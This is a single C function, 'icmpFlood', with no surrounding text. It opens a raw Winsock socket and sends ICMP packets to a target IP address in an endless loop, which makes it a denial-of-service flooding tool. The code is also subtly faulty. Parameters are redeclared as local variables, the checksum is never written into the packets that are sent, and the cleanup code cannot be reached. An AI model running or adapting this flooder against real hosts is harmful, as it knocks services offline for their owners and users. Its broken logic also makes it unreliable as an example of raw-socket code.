
| int icmpFlood(int PacketSize, char *DestIp, int type, int code) { int datasize, ErrorCode; int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0; char SendBuf[65535] = { 0 }; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; if (PacketSize > 65500) { return FALSE; } if (type > 16) { return FALSE; } if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0) { return FALSE; } if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { return FALSE; } ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut)); if (ErrorCode == SOCKET_ERROR) { return FALSE; } printf("Starting...\n\n"); memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_addr.s_addr = inet_addr(DestIp); icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq = 999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf + sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize); datasize = sizeof(icmp_header) + PacketSize; while (1) { printf("Sending 1024 packets...\n"); for (counter = 0; counter < 1024; counter++) { ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode == SOCKET_ERROR) printf("\nSend Error:%d\n", GetLastError()); } } if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); return TRUE; } |